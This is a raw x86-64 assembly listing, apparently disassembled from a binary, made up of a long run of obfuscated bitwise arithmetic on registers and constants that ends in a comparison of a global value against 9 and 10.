mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3e4b3ed2
and ecx, 0xc1b4c12d
or ecx, eax
mov edx, ecx
xor edx, 0x3c421ec2
xor ecx, 0x40b0800c
and ecx, 0x42b9a01c
and edx, 0xbd465fe3
or edx, ecx
mov r10d, edx
xor r10d, 0xb8465741
xor edx, 0x2010000
and edx, 0x70108a2
and r10d, 0xf8fef75d
or r10d, edx
mov ebp, r10d
xor ebp, 0xf8fef75d
xor r10d, 0x70108a2
mov ecx, r8d
and ecx, 0x628dc06b
mov edx, r9d
and edx, 0x9d723f94
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb45f1f6d
and edx, 0x4ba0e092
or edx, ecx
mov ebx, edx
xor ebx, 0x21090029
xor edx, 0x12c0c202
and edx, 0x1ae4e2d2
and ebx, 0xe51b1d2d
or ebx, edx
mov ecx, ebx
xor ecx, 0xc00a1420
and r8d, 0xe88d4cb1
and r9d, 0x1772b34e
or r9d, r8d
mov edx, r9d
xor edx, 0x12421040
xor ebx, 0x1ae4e2d2
xor r9d, 0xe88d4cb1
mov edi, ebx
and edi, 0x2db5eb1f
and ecx, 0xd24a14e0
or ecx, edi
or ebx, r9d
and r9d, 0x2db5eb1f
and edx, 0xd24a14e0
or edx, r9d
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xedb12223
and ebx, 0x124edddc
or ebx, ecx
mov esi, ebx
xor esi, 0x124edddc
xor ebx, 0xec912220
and ebx, 0xfed37768
mov ecx, esi
and ecx, 0x12c8897
or ecx, ebx
mov edi, ecx
xor edi, 0x83
xor ecx, 0xfed37768
mov ebx, ebp
and ebx, 0x92f8b54
mov edx, ebp
mov eax, r10d
and eax, 0x1081e5c5
and ebp, 0xef7e1a3a
or ebp, eax
xor ebp, esi
xor ebp, 0x1081e5c5
and ebp, esi
or esi, r10d
and r10d, 0xf6d074ab
or r10d, ebx
or edx, ecx
and ecx, 0x92f8b54
and edi, 0xf6d074ab
or edi, ecx
xor edi, r10d
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xddec043c
and edx, 0x2213fbc3
or edx, eax
mov eax, edx
xor eax, 0x2213fbc3
xor edx, 0xc88c0424
mov ecx, esi
not ecx
mov r11d, ebp
not r11d
mov ebx, r11d
and ebx, 0xe63ba258
and ebp, 0x19c45da7
or ebp, ebx
or r11d, esi
and esi, 0xe63ba258
and ecx, 0x19c45da7
or ecx, esi
xor ecx, ebp
not r11d
or r11d, ecx
mov ecx, r11d
not ecx
mov ebp, eax
xor ebp, ecx
and ebp, eax
and edx, 0xca9d85a7
and eax, 0x35627a58
or eax, edx
and ecx, 0xca9d85a7
and r11d, 0x35627a58
or r11d, ecx
xor r11d, eax
mov eax, ebp
and eax, r11d
xor r11d, ebp
or r11d, eax
mov r9d, r11d
not r9d
mov ecx, r11d
xor ecx, 0x1d9183f6
and ecx, r11d
mov eax, r11d
or eax, 0xe26e7c09
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0xc6a82e1d
mov ebx, r9d
and ebx, 0x191181e2
or ebx, ebp
or eax, edx
and edx, 0xc6a82e1d
and ecx, 0x3957d1e2
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe26e7c09
and eax, 0x1d9183f6
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x34710644
and eax, 0xcb8ef9bb
or eax, ecx
mov ecx, eax
xor ecx, 0xcb8ef9bb
xor eax, 0x34710644
mov ebx, r9d
or ebx, r11d
mov edx, ebx
not edx
and edx, ecx
mov ecx, eax
xor ecx, ebx
and ecx, eax
and ebx, eax
or ebx, edx
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov r8d, ebx
mov r14d, ebx
mov r10d, ebx
mov r12d, ebx
mov r15d, ebx
xor r15d, 0x12602725
and r15d, ebx
mov r13d, ebx
not r13d
or r8d, 0x8eed6f05
mov eax, r8d
not eax
mov ebx, r13d
or ebx, 0x711290fa
mov ebp, ebx
not ebp
and r8d, 0xd055937c
and eax, 0x21020082
or eax, r8d
and ebx, 0xd055937c
and ebp, 0xea86c01
or ebp, ebx
xor ebp, eax
mov eax, ebp
not eax
and eax, 0xa1bfa3ff
and ebp, 0x5e405c00
or ebp, eax
mov eax, r13d
and eax, 0x6bd7e6dd
and r14d, 0x94281922
or r14d, eax
mov eax, r14d
xor eax, 0x4080002
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0xd1263db5
and ebp, 0x2ed9c24a
or ebp, ecx
xor r14d, 0x41062495
and r14d, 0xd1263db5
and eax, 0x2ed9c24a
or eax, r14d
xor eax, ebp
not eax
or eax, ebx
mov r14d, eax
not r14d
mov ecx, r11d
xor ecx, 0x9aefd15e
and ecx, r11d
mov ebx, r11d
or ebx, 0x65102ea1
mov esi, ecx
not esi
mov r8d, ebx
and r8d, 0x34814ff4
mov edi, r9d
and edi, 0x8a6e900a
or edi, r8d
or ebx, esi
and esi, 0x34814ff4
and ecx, 0xcb7eb00b
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x35e0a839
and ebx, 0xca1f57c6
or ebx, ecx
xor ebx, 0x7fa24a62
and r9d, 0xf9b027d6
and r11d, 0x64fd829
or r11d, r9d
xor r11d, 0x64fd829
mov ecx, ebx
and ecx, r11d
xor r11d, ebx
or r11d, ecx
mov ecx, r11d
not ecx
and ecx, 0x971275d4
and r11d, 0x68ed8a2b
or r11d, ecx
mov ebx, r11d
xor ebx, 0x68ed8a2b
xor r11d, 0x971275d4
mov ecx, r11d
and ecx, eax
mov ebp, r14d
and ebp, ebx
or ebp, ecx
mov ecx, ebp
xor ecx, eax
and ecx, ebp
and eax, 0x9946fff3
and r14d, 0x66b9000c
or r14d, eax
mov eax, r11d
and eax, 0x942f403
and ebx, 0x90040bf0
or ebx, eax
mov eax, ebx
xor eax, 0x90000a50
xor ebx, 0x6b287404
or r11d, 0x9946fff3
mov ebp, r11d
not ebp
and ebx, 0x6b2c75a4
and eax, 0x90428a53
or eax, ebx
and r11d, 0x6b2c75a4
and ebp, 0x4910008
or ebp, r11d
xor ebp, eax
mov eax, r14d
not eax
and eax, ebp
not ebp
and ebp, r14d
or ebp, eax
mov r9d, ecx
not r9d
mov edi, ebp
not edi
mov eax, edi
and eax, 0x4774c6e3
and ebp, 0xb88b391c
or ebp, eax
mov esi, ebp
xor esi, 0xb88b391c
mov r8d, r9d
and r8d, 0xe10f0b55
mov r11d, ecx
and r11d, 0x1ef0f4aa
or r11d, r8d
mov edx, ebp
xor edx, 0xa67bcdb6
and edx, esi
or edi, 0xe10f0b55
mov ebx, edi
not ebx
mov eax, edx
not eax
mov r8d, eax
and r8d, 0xd0089d60
and edx, 0x2ff7629f
or edx, r8d
or eax, edi
and edi, 0xd0089d60
and ebx, 0xef0608a
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, r11d
not edx
and edx, eax
not eax
and eax, r11d
or eax, edx
xor ebp, 0x4774c6e3
mov edx, ecx
and edx, 0x7c6dce90
and r9d, 0x8392316f
or r9d, edx
or ecx, ebp
and ebp, 0x7c6dce90
and esi, 0x8392316f
or esi, ebp
xor esi, r9d
not ecx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xb760ce62
and ecx, 0x489f319d
or ecx, edx
xor ecx, 0x489f319d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x2c38bf3e
and edx, 0xd3c740c1
or edx, ebp
mov ebp, edx
xor ebp, 0x40
xor edx, 0x20008628
and edx, 0xa200c6a8
and ebp, 0x380046
or ebp, edx
mov r8d, ebp
xor r8d, 0xffc7ffb9
and eax, 0xa238c6ee
xor ecx, 0x5dc73911
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
and ebx, 0xa4ac0206
xor ecx, 0x6787e118
and ecx, eax
and eax, 0x5b53fdf9
or eax, ebx
xor eax, 0x5b53fdf9
mov ebx, ebp
xor ebx, 0x98401ea1
and ebx, r8d
and ebp, 0x2200c008
mov edi, eax
and edi, 0x98781ee7
mov esi, ebx
and esi, ebp
xor ebp, ebx
or ebp, esi
mov ebx, edi
and ebx, ecx
xor ecx, edi
or ecx, ebx
mov ebx, ebp
not ebx
and ebx, ecx
not ecx
and ecx, ebp
or ecx, ebx
mov edx, r8d
and edx, eax
xor eax, r8d
or eax, edx
mov edx, eax
not edx
and edx, 0x2920c249
and eax, 0xd6df3db6
or eax, edx
mov edx, eax
xor edx, 0x420c0104
mov ebp, ecx
not ebp
xor eax, 0x2920c249
mov ebx, ebp
and ebx, 0x9dd3fef2
and ecx, 0x622c010d
or ecx, ebx
or ebp, eax
and eax, 0x9dd3fef2
and edx, 0x622c010d
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
not ecx
or ebp, 0x8d6a0a15
mov edx, ebp
not edx
or ecx, 0x7295f5ea
mov r11d, ecx
not r11d
and ebp, 0xb8123d9b
and edx, 0x4285c060
or edx, ebp
and ecx, 0xb8123d9b
and r11d, 0x5680204
or r11d, ecx
xor r11d, edx
mov ecx, r13d
and ecx, 0xfffffffe
and r10d, 1
or r10d, ecx
xor r13d, r10d
and r13d, r10d
or r12d, 0xed9fd8da
mov ecx, r12d
not ecx
mov edx, r15d
not edx
mov ebp, r12d
and ebp, 0xf543afc4
and ecx, 0x2200021
or ecx, ebp
or r12d, edx
and edx, 0xf543afc4
and r15d, 0xabc503b
or r15d, edx
xor r15d, ecx
not r12d
or r12d, r15d
mov ecx, r12d
not ecx
and ecx, 0x94cf861a
and r12d, 0x6b3079e5
or r12d, ecx
mov edi, r12d
xor edi, 0x86afa13e
mov edx, r13d
not edx
xor r12d, 0x79505ec1
mov ebp, edx
and ebp, 0x8adaaf82
mov ebx, r13d
and ebx, 0x7525507d
or ebx, ebp
mov ebp, r12d
and ebp, 0x8adaaf82
mov ecx, edi
and ecx, 0x7525507d
or ecx, ebp
mov ebp, ebx
not ebp
and ebp, ecx
not ecx
and ecx, ebx
or ecx, ebp
mov ebp, r13d
and ebp, 0xe5e825a8
and edx, 0x1a17da57
or edx, ebp
or r13d, edi
and edi, 0xe5e825a8
and r12d, 0x1a17da57
or r12d, edi
xor r12d, edx
not r13d
or r13d, r12d
not r13d
mov edx, ecx
and edx, r13d
xor r13d, ecx
or r13d, edx
mov edx, r13d
not edx
mov ecx, edx
and ecx, 0xdc1cefd3
mov ebp, r13d
and ebp, 0x23e3102c
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x23e3102c
and ebp, 0xdc1cefd3
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xe63f863e
and ebp, 0x19c079c1
or ebp, ecx
mov r8d, ebp
xor r8d, 0x9003041
mov eax, ebp
xor eax, 0xe63f863e
and edx, 0x26a05e88
and r13d, 0xd95fa177
or r13d, edx
mov edx, r13d
xor edx, 0xd95fa177
xor r13d, 0x26a05e88
or r13d, edx
mov edx, r13d
not edx
and edx, 0xc79a4f5
and r13d, 0xf3865b0a
or r13d, edx
mov ebx, r13d
xor ebx, 0xf3865b0a
xor r13d, 0x86980b0
and r13d, 0x3aeb80b2
mov esi, ebx
and esi, 0xc5147f4d
or esi, r13d
mov r9d, esi
xor r9d, 0xc5147f4d
mov ecx, eax
or ecx, 0x6348945f
mov edi, ecx
not edi
xor ebp, 0x7a88ed9e
and ebp, eax
mov r10d, esi
xor r10d, 0xa65ceb12
and r10d, r9d
and ebx, 0x6348945f
mov edx, ebp
not edx
mov r14d, ecx
and r14d, 0x75b5dc99
and edi, 0x88022320
or edi, r14d
or ecx, edx
and edx, 0x75b5dc99
and ebp, 0x8a4a2366
or ebp, edx
xor ebp, edi
not ecx
or ecx, ebp
mov edx, r10d
and edx, ebx
xor ebx, r10d
or ebx, edx
mov edx, ecx
not edx
and edx, 0xd6362d65
and ecx, 0x29c9d29a
or ecx, edx
mov edx, ebx
not edx
and edx, 0xd6362d65
and ebx, 0x29c9d29a
or ebx, edx
xor ebx, ecx
xor esi, 0x3aeb80b2
mov ecx, eax
and ecx, 0xd6fd4bae
and r8d, 0x2902b451
or r8d, ecx
or eax, esi
and esi, 0xd6fd4bae
and r9d, 0x2902b451
or r9d, esi
xor r9d, r8d
not eax
or eax, r9d
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb84952f7
and ecx, eax
not eax
and eax, 0x9d98bd70
and edx, 0x6267428f
or edx, eax
mov eax, edx
xor eax, 0x414286
xor edx, 0x98081070
or edx, 0x47b6ad08
mov ebp, ecx
not ebp
mov ebx, edx
and ebx, 0xa698b911
and eax, 0x184142e6
or eax, ebx
or edx, ebp
and ebp, 0xa698b911
and ecx, 0x596746ee
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xc066d35a
and edx, 0x3f992ca5
or edx, eax
mov eax, edx
xor eax, 0x87d07e52
xor edx, 0x782f81ad
mov ecx, eax
and eax, 0xdbbb7412
mov ebp, edx
and ebp, 0x24448bed
or ebp, eax
xor ebp, 0x24448bed
or ebp, edx
and edx, 0x84272a9e
and ecx, 0x7bd8d561
or ecx, edx
mov eax, ecx
not eax
and eax, 0x84272a9e
and ecx, 0x7bd8d561
or ecx, eax
mov eax, ebp
not eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x5a9437f1
and ecx, 0xa56bc80e
or ecx, ebx
or edx, ebp
and ebp, 0x5a9437f1
and eax, 0xa56bc80e
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and edx, eax
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x479e6e28
and edx, 0xb86191d7
or edx, ecx
xor edx, 0xb86191d7
or edx, eax
mov r15d, edx
not r15d
mov r9d, r11d
not r9d
mov eax, r9d
and eax, r11d
mov ecx, eax
not ecx
mov ebp, r11d
and ebp, 0x24966a40
mov ebx, r9d
and ebx, 0xdb6995bf
or ebx, ebp
mov r10d, r11d
or r10d, ecx
and ecx, 0x24966a40
and eax, 0xdb6995bf
or eax, ecx
xor eax, ebx
not r10d
or r10d, eax
mov ebx, r15d
mov eax, edx
and eax, 0xec6e4c3
and r15d, 0xf1391b3c
or r15d, eax
not r15d
or r15d, edx
and edx, 0x7cd8eae0
and ebx, 0x8327151f
or ebx, edx
mov ecx, ebx
xor ecx, 0x82201013
xor ebx, 0x1c18a0a0
and ebx, 0x1d1fa5ac
and ecx, 0xe2e05a53
or ecx, ebx
mov r8d, ecx
xor r8d, 0x1d1fa5ac
mov ebp, r10d
xor ecx, 0xe2e05a53
mov eax, ecx
and eax, 0xf1391b3c
mov r14d, r8d
and r14d, 0xec6e4c3
or r14d, eax
mov r12d, r14d
xor r12d, ecx
mov r13d, r10d
xor r13d, ecx
and r13d, r10d
and ecx, r10d
not r10d
mov eax, r10d
and eax, 0x5f845c6d
and ebp, 0xa07ba392
or ebp, eax
mov eax, ebp
xor eax, 0xa07ba392
xor ebp, 0x861
and ebp, 0xb8863
mov ebx, eax
and ebx, 0xfff4779c
or ebx, ebp
xor ebx, 0xf132935f
and eax, 0xf1391b3c
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0xc9656826
and eax, 0x369a97d9
or eax, ebx
mov ebp, eax
mov edx, eax
xor edx, 0xc9656826
and r9d, 0xec6e4c3
xor r11d, 0xf1391b3c
or r11d, r9d
mov edi, r11d
not edi
and edi, 0x93fd69fb
and r11d, 0x6c029604
or r11d, edi
mov edi, r11d
xor edi, 0x6c029604
and r12d, r14d
xor r11d, 0x80552188
and r11d, 0x84552188
mov r14d, edi
and r14d, 0x7baade77
or r14d, r11d
xor eax, 0xac083b73
and eax, edx
mov r9d, edx
or r9d, 0x9a92acaa
mov ebx, eax
not ebx
mov r11d, ebx
and r11d, 0x568fc5c8
and eax, 0xa9703a37
or eax, r11d
mov esi, r9d
not esi
or ebx, r9d
and r9d, 0x568fc5c8
and esi, 0x21601215
or esi, r9d
mov r9d, r14d
xor r9d, 0x7baade77
xor esi, eax
mov eax, r14d
xor eax, 0x1ec78d22
and eax, r9d
and edi, 0x656d5355
not ebx
or ebx, esi
mov esi, eax
and esi, edi
xor edi, eax
or edi, esi
mov eax, ebx
not eax
and eax, edi
not edi
and edi, ebx
xor ebp, 0x369a97d9
or edi, eax
mov eax, ebp
and eax, 0x95882940
and edx, 0x6a77d6bf
or edx, eax
xor r14d, 0x84552188
or ebp, r14d
and r14d, 0x95882940
and r9d, 0x6a77d6bf
or r9d, r14d
xor r9d, edx
mov edx, r15d
not edx
not ebp
or ebp, r9d
not ebp
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, r12d
xor eax, r15d
and eax, r12d
mov ebx, r12d
not ebx
and ebx, 0x591caa66
and r12d, 0xa6e35599
or r12d, ebx
and r15d, 0x591caa66
and edx, 0xa6e35599
or edx, r15d
xor edx, r12d
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov ebx, ebp
mov edi, ebp
xor edi, 0xa5d9e6cc
and edi, ebp
not ebp
and ebp, 0xa550c684
and ebx, 0x892048
or ebx, ebp
mov ebp, ebx
xor ebp, 0x2040
xor ebx, 0xff76dfb7
mov esi, edx
mov eax, edx
xor eax, 0xa5d9e6cc
and eax, edx
not edx
and edx, 0x190c240
and esi, 0xa449248c
or esi, edx
mov edx, ebx
and edx, 0xb7edd8aa
and ebp, 0x102644
or ebp, edx
mov edx, edi
not edx
or ebx, edx
and edx, 0xb7edd8aa
and edi, 0x48122755
or edi, edx
xor esi, 0xa449248c
xor edi, ebp
not ebx
or ebx, edi
mov edx, esi
and edx, eax
xor eax, esi
or eax, edx
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
and r10d, r8d
or ecx, r10d
mov edx, r13d
and edx, ecx
xor ecx, r13d
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x6c889eab
and edx, 0x93776154
or edx, ebp
xor edx, 0x93776154
or edx, ecx
mov ebx, eax
mov ebp, eax
xor ebp, 0x18d3f9e9
and ebp, eax
not eax
and eax, 0x2e77bc17
and ebx, 0xd18843e8
or ebx, eax
xor ebx, 0xd18843e8
mov ecx, ebx
mov eax, edx
xor eax, 0xe72c0616
mov edi, eax
and edi, edx
mov esi, ebx
and esi, edx
xor ebx, edx
not edx
and ecx, 0x18d3f9e9
and eax, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, ebp
not edx
and edx, eax
not eax
and eax, ebp
or eax, edx
or ebx, esi
mov ecx, ebx
not ecx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x42fd6fea
and eax, 0xbd029015
or eax, edx
or ebp, ebx
and ebx, 0x42fd6fea
and ecx, 0xbd029015
or ecx, ebx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
mov edx, eax
and edx, 0x89dec9ee
mov r8d, ebp
and r8d, 0x76213611
or r8d, edx
xor r8d, 0x820d46a7
or r8d, eax
mov edx, eax
and edx, 0x2a262ed1
mov r10d, ebp
and r10d, 0xd5d9d12e
or r10d, edx
mov edx, r10d
xor r10d, 0x2a262ed1
and r10d, eax
mov edi, eax
and edi, 0x1a4c0e40
mov eax, ebp
xor eax, 0x9b7d0ee7
and eax, ebp
xor edx, 0xd5d9d12e
and edx, ebp
or r10d, edx
not r10d
or r10d, ebp
and ebp, 0x813100a7
or ebp, edi
xor ebp, 0x813100a7
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0x6482f118
and eax, 0x9b7d0ee7
or eax, edx
mov edx, eax
not edx
and edx, 0x2d3b0746
and eax, 0xd2c4f8b9
or eax, edx
mov edx, eax
xor edx, 0x2c08809
and edx, 0xbd38f49
xor eax, 0xd91777f0
or eax, edx
mov edx, eax
not edx
and edx, 0x8f83a471
and eax, 0x707c5b8e
or eax, edx
mov edx, eax
xor edx, 0x707c5b8e
mov ebp, eax
xor ebp, 0x85838050
mov ecx, r8d
not ecx
and ebp, 0xf5cb9050
xor eax, 0xff12ac19
and eax, edx
and edx, 0xa346faf
or edx, ebp
mov r9d, edx
xor r9d, 0xa346faf
mov esi, r8d
and esi, 0xf5a9275e
and ecx, 0xa56d8a1
or ecx, esi
mov edi, ecx
xor edi, 0xa56d8a1
xor edx, 0x7aa567c7
and edx, r9d
xor ecx, 0x7ac7d0c9
and ecx, edi
or r8d, 0x8f6ef797
mov esi, edx
not esi
mov ebp, esi
and ebp, 0xdace695b
and edx, 0x253196a4
or edx, ebp
mov ebp, eax
not ebp
or esi, ebp
and ebp, 0xdace695b
and eax, 0x253196a4
or eax, ebp
mov ebp, r8d
not ebp
xor eax, edx
not esi
or esi, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfc0cf779
and ecx, 0x3f30886
or ecx, edx
or eax, r8d
and r8d, 0xfc0cf779
and ebp, 0x910800
or ebp, r8d
xor ebp, ecx
not eax
or eax, ebp
mov ecx, esi
not ecx
and ecx, 0xd028c151
and esi, 0x2fd73eae
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0xd028c151
and eax, 0x2fd73eae
or eax, ecx
xor eax, esi
mov ecx, r9d
and ecx, edi
xor edi, r9d
or edi, ecx
mov ecx, edi
not ecx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xeadb8169
and eax, 0x15247e96
or eax, edx
or ebp, edi
and edi, 0xeadb8169
and ecx, 0x15247e96
or ecx, edi
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
or ebp, 0xf42c70b6
mov ecx, ebp
not ecx
or eax, 0xbd38f49
mov edx, eax
not edx
and ebp, 0x93156ee0
and ecx, 0x8c28109
or ecx, ebp
and eax, 0x93156ee0
and edx, 0x64281016
or edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x7ba76f39
and eax, edx
and edx, 0x845890c6
or edx, ecx
xor edx, 0x845890c6
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xa12a1b2c
and edx, 0x5ed5e4d3
or edx, eax
mov eax, edx
not eax
and eax, 0x37d7bca0
and edx, 0xc828435f
or edx, eax
mov eax, edx
xor eax, 1
xor edx, 0x96e5278c
and eax, 0x188001
and edx, 0xffe77ffe
or edx, eax
mov ecx, edx
xor ecx, 0xffe77ffe
mov ebx, r10d
not ebx
mov r8d, edx
xor r8d, 0x188001
mov ebp, r10d
and ebp, 0xe5a3fdd1
mov eax, ebx
and eax, 0x1a5c022e
or eax, ebp
mov edi, eax
xor edi, 0x8040026
xor eax, 0xe5a3fdd1
mov ebp, ecx
xor edx, 0xbe2f2e06
and edx, ecx
and ecx, 0x977b0658
mov esi, r8d
and esi, 0x6884f9a7
or esi, ecx
or ebp, eax
and eax, 0x977b0658
and edi, 0x6884f9a7
or edi, eax
xor edi, esi
not ebp
or ebp, edi
mov edi, ebp
not edi
and r8d, 0x41c851f8
mov eax, r10d
and eax, 0x880158
and ebx, 0x414050a0
or ebx, eax
mov eax, ebx
xor eax, 0x401020
xor ebx, 0x18302d42
or r10d, 0x41c851f8
mov ecx, r10d
not ecx
mov esi, r8d
and esi, edx
xor edx, r8d
or edx, esi
and ebx, 0x59306dc2
and eax, 0xc81038
or eax, ebx
and r10d, 0x59306dc2
and ecx, 0xa6078205
or ecx, r10d
xor ecx, eax
mov eax, edx
not eax
and eax, 0xb0664af5
and edx, 0x4f99b50a
or edx, eax
mov eax, ecx
not eax
and eax, 0xb0664af5
and ecx, 0x4f99b50a
or ecx, eax
xor ecx, edx
mov eax, ecx
not eax
mov edx, ebp
or edx, eax
not edx
and ebp, 0x80fb409
and edi, 0xf7f04bf6
or edi, ebp
and eax, 0x80fb409
and ecx, 0xf7f04bf6
or ecx, eax
xor ecx, edi
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov r8d, ecx
not r8d
mov eax, r8d
and eax, 0xa8184402
mov edx, ecx
and edx, 0x57e7bbfd
or edx, eax
xor edx, 0xa8184402
mov ebx, edx
xor ebx, r8d
and ebx, edx
mov esi, ebx
mov edx, ebx
xor edx, 0x54ef333f
and edx, ebx
not ebx
and ebx, 0x8ddbf720
and esi, 0x722408df
or esi, ebx
mov r9d, esi
xor r9d, 0x722408df
mov edi, esi
xor edi, 0xd934c41f
and edi, r9d
mov eax, edi
not eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x596c68f7
and edi, 0xa6939708
or edi, ebx
or eax, ebp
and ebp, 0x596c68f7
and edx, 0xa6939708
or edx, ebp
xor edx, edi
not eax
or eax, edx
mov edx, eax
and edx, 0xab10ccc0
not eax
and eax, 0x54ef333f
or eax, edx
xor esi, 0x8ddbf720
or esi, r9d
not esi
mov edx, eax
and edx, esi
xor esi, eax
or esi, edx
mov edx, esi
mov eax, esi
xor eax, 0xe8b08641
and eax, esi
not esi
and esi, 0xc0a00400
and edx, 0x28108241
or edx, esi
mov ebp, edx
xor ebp, 0x28108201
xor edx, 0xd7ef7dbe
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x86ef1dd0
and ebp, 0x68108201
or ebp, edi
or edx, ebx
and ebx, 0x86ef1dd0
and eax, 0x7910e22f
or eax, ebx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x174f79be
and edx, 0xe8b08641
or edx, eax
mov eax, r8d
and eax, 0xc9f90bf5
and r8d, ecx
and ecx, 0x3606f40a
or ecx, eax
mov eax, ecx
xor eax, 0x20061402
xor ecx, 0xc9f90bf5
mov ebp, r8d
not ebp
mov ebx, ecx
and ebx, 0x1618ead9
and eax, 0xe9e71526
or eax, ebx
or ecx, ebp
and ebp, 0x1618ead9
and r8d, 0xe9e71526
or r8d, ebp
xor r8d, eax
not ecx
or ecx, r8d
mov r8d, edx
not r8d
mov ebx, ecx
mov eax, ecx
xor eax, 0xa18be715
and eax, ecx
not ecx
and ecx, 0x130f076d
and ebx, 0xecf0f892
or ebx, ecx
mov r9d, ebx
mov ecx, edx
xor ecx, 0xa18be715
mov esi, ecx
and esi, r8d
and ecx, edx
xor ebx, 0x130f076d
mov edi, esi
not edi
mov ebp, edi
and ebp, 0x1c645dde
and esi, 0xe39ba221
or esi, ebp
mov ebp, ecx
not ebp
or edi, ebp
and ebp, 0x1c645dde
and ecx, 0xe39ba221
or ecx, ebp
mov ebp, ebx
or ebp, 0x5e7418ea
xor ecx, esi
mov esi, ebp
not esi
not edi
or edi, ecx
mov ecx, ebp
and ecx, 0x29ed40b0
and esi, 0x8002a705
or esi, ecx
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0x29ed40b0
and eax, 0xd612bf4f
or eax, ecx
mov ecx, dword [0x1400c566c]
xor r9d, 0xcc50b082
xor eax, esi
not ebp
or ebp, eax
mov eax, edi
not eax
and eax, 0x2640ee7f
and edi, 0xd9bf1180
or edi, eax
mov eax, ebp
not eax
and eax, 0x2640ee7f
and ebp, 0xd9bf1180
or ebp, eax
xor ebp, edi
mov eax, edx
and eax, 0x30a1497c
and r8d, 0xcf5eb683
or r8d, eax
or edx, ebx
and ebx, 0x30a1497c
and r9d, 0xcf5eb683
or r9d, ebx
xor r9d, r8d
not edx
or edx, r9d
not edx
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0x3ab3d33f
and edx, 0xc54c2cc0
or edx, eax
mov eax, edx
xor eax, 0x810c2080
xor edx, 0x20835124
and edx, 0x64c35d64
and eax, 0x9b3ca29b
or eax, edx
mov edx, eax
xor edx, 0x4c24804
xor eax, 0x8108283
and eax, 0x681197e3
and edx, 0x97ee681c
or edx, eax
mov eax, edx
xor eax, 0x2c00804
xor edx, 0x681115a3
and edx, 0xfd3f75bb
and eax, 0x2c08a44
or eax, edx
xor eax, 0x2c08a44
sete r8b
setne bpl
cmp ecx, 0xa
setl dil
cmp ecx, 9
setg cl
mov edx, ecx
xor dl, bpl
mov ebx, ebp
or bl, cl
xor bl, 1
or bl, dl
xor bl, 1
mov r11d, edi
xor r11b, bpl
mov r10d, r11d
xor r10b, 1
mov edx, r10d
or dl, cl
xor dl, bl
and bl, dl
xor bl, 1
mov r9d, ebx
xor r9b, dl
or bl, dl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, 1
and bl, dl
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov edx, ebx
xor dl, dil
and dl, bl
mov eax, ebx
xor al, 1
and al, cl
and bl, dil
or bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov r9d, eax
and r9b, bl
xor al, r9b
xor r9b, 1
or r9b, bl
xor r9b, 1
or r9b, al
mov esi, r9d
xor sil, 1
or bpl, dil
xor dil, r8b
xor dil, 1
xor bpl, 1
or bpl, dil
xor r11b, bpl
xor r11b, 1
or bpl, r10b
xor bpl, 1
or bpl, r11b
mov edx, ebp
xor dl, 1
and dl, bpl
xor dl, 1
mov eax, ebp
xor al, dl
or dl, bpl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov ebx, ecx
xor bl, r8b
or cl, r8b
xor cl, 1
or cl, bl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
